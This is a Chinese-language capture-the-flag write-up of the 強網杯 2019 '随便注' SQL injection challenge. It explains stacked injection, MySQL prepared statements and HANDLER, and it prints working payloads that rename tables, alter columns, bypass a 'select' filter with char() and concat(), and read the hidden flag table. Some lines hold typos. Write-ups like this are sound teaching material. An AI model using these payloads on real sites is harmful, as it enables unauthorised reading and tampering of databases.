天天看點

[SQL注入][強網杯 2019]随便注(三種姿勢)

文章目錄

  • ​​前言​​
  • ​​前置知識​​
  • ​​堆疊注入​​
  • ​​預處理語句​​
  • ​​即時 SQL​​
  • ​​預處理SQL​​
  • ​​使用方法​​
  • ​​字元串定義預處理​​
  • ​​變量定義預處理 SQL​​
  • ​​HANDLER指令​​
  • ​​三種姿勢​​
  • ​​姿勢一 ---- 正常堆疊注入​​
  • ​​姿勢二---預處理語句​​
  • ​​姿勢三 --- handeler​​
  • ​​參考文章​​

前言

1919810931114514必須用反單引号括起來,但是words不需要,應該是和資料類型有關

前置知識

堆疊注入

在SQL中,分号​

​;​

​​是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句後繼續構造下一條語句,會不會一起執行?是以這個想法也就造就了堆疊注入。而union injection(聯合注入)也是将兩條語句合并在一起,兩者之間有什麼差別麼?差別就在于union 或者union all執行的語句類型是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。

比如:

​​

​select flag from flag;select * from flag​

​它首先會執行前半部分,等前半部分執行完了以後則執行第二句話、

預處理語句

首先在介紹之前要先說一下即時sql

即時 SQL

一條 SQL 直接是走流程處理,一次編譯,單次運作,此類普通語句被稱作 Immediate Statements (即時 SQL),具體如下

  1. 詞法和語義解析;
  2. 優化 SQL 語句,制定執行計劃;
  3. 執行并傳回結果;

但是,在絕大多數情況下,如果需求某一條 SQL 語句被反複調用執行,或者每次執行的時候隻有個别的值不同。如果每次都需要經過上面的詞法語義解析、語句優化、制定執行計劃等,則效率就明顯降低了許多。這個時候就需要預處理sql

預處理SQL

預編譯語句的優勢在于歸納為:一次編譯、多次運作,省去了解析優化等過程;此外預編譯語句能防止 SQL 注入。 MySQL 預處理語句的支援版本較早,是以我們目前普遍使用的 MySQL 版本都是支援這一文法的。

簡單用法:

使用方法

MySQL 官方将 prepare、execute、deallocate 統稱為 PREPARE STATEMENT。翻譯也就習慣的稱其為預處理語句。

PREPARE name from '[my sql sequece]';   //預定義SQL語句
EXECUTE name;  //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE name;  //删除預定義SQL        語句      

字元串定義預處理

PREPARE stmt1 FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
ET @a = 3;
SET @b = 4;                                                   
EXECUTE stmt1 USING @a, @b;      

變量定義預處理 SQL

SET @s = 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
PREPARE stmt2 FROM @s;
SET @c = 6;
ET @d = 8;
EXECUTE stmt2 USING @c, @d;
DEALLOCATE PREPARE stmt2;      

HANDLER指令

我覺得這篇文章還行​

​https://www.jb51.net/article/88732.htm​

​,暫時了解一下吧,不做深入學習暫時

三種姿勢

姿勢一 ---- 正常堆疊注入

堆疊注入為攻擊者提供了很多控制權,與僅限于SELECT語句的UNION聯合查詢攻擊不同,堆疊注入可以用于執行任何SQL語句。

首先老規矩輸入1

[SQL注入][強網杯 2019]随便注(三種姿勢)

加個單引号,報錯

[SQL注入][強網杯 2019]随便注(三種姿勢)

注釋掉後面大概猜到表的結構了​

​selsect id,data from words where id =​

​,并且是字元型注入

[SQL注入][強網杯 2019]随便注(三種姿勢)

整一個萬能查詢,看一看

[SQL注入][強網杯 2019]随便注(三種姿勢)

利用order by查詢發現有2列

[SQL注入][強網杯 2019]随便注(三種姿勢)

查回顯位,哦吼出來的這個東西基本把能用的全搞掉了,難受,考慮堆疊注入

[SQL注入][強網杯 2019]随便注(三種姿勢)

​show tables​

​​發現有兩個表一個叫​

​words​

​​一個叫​

​1919810931114514​

[SQL注入][強網杯 2019]随便注(三種姿勢)

​show columns from​

​查詢列

​11';show columns from words#​

​,發現words下面有兩個字段一個​

​id​

​和​

​data​

[SQL注入][強網杯 2019]随便注(三種姿勢)

​1'; show columns from​

​1919810931114514​

​; #​

​,得到其隻有一個字段​

​flag​

[SQL注入][強網杯 2019]随便注(三種姿勢)

根據前面的分析查詢語句是​

​selsect id,data from words where id =​

​,,這時候就想到了一個改名的方法,把​

​words​

​随便改成其他名字,然後把​

​1919810931114514​

​改成​

​words​

​,再把列名​

​flag​

​改成​

​id​

​,結合上面的1’ or 1=1#就能夠得到flag了

是以我們構造payload:

​​

​′​

​​換成``符号

​​

​111′;rename table words to hhh;rename table &prime1919810931114514′ to words;alter table words change flag id varchar(100) ;#​

姿勢二—預處理語句

首先給出一個基本用法示例

SET @tn = 'hahaha';  //存儲表名
SET @sql = concat('select * from ', @tn);  //存儲SQL語句
PREPARE name from @sql;   //預定義SQL語句
EXECUTE name;  //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE sqla;  //删除預定義SQL語句      

本題即可利用 char() 函數将select的ASCII碼轉換為select字元串,接着利用concat()函數進行拼接得到select查詢語句,進而繞過過濾。或者直接用concat()函數拼接select來繞過。

​char(115,101,108,101,99,116)等價于select'​

​ 是以根據題目意思我們可以建構payload

1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE st from @sqli;EXECUTE st;#      

或者

1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#      

姿勢三 — handeler

漲見識了

這裡還有一種新姿勢,參考​​​官方文檔​​

';handler `1919810931114514` open;handler `1919810931114514` read first#      

參考文章